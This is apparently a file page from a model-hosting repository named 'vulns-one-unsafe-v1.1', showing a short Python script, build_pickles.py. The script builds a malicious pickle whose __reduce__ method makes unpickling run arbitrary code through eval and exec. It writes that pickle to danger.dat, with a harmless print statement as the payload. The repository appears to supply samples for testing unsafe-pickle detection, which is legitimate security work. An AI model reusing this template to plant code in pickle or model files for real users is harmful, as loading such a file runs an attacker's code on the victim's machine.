vulns-one-unsafe-v1.1 / build_pickles.py
abrar0503's picture
Upload 12 files
7852d7a verified
raw
history blame contribute delete
318 Bytes
import pickle
class MaliciousInject:
def __init__(self, src: str):
self._src = src
def __reduce__(self):
return eval, (f"exec('''{self._src}''')",), None, None, None
content = MaliciousInject("print('hack3d')")
with open('danger.dat', 'wb') as f:
pickle.dump(content, f)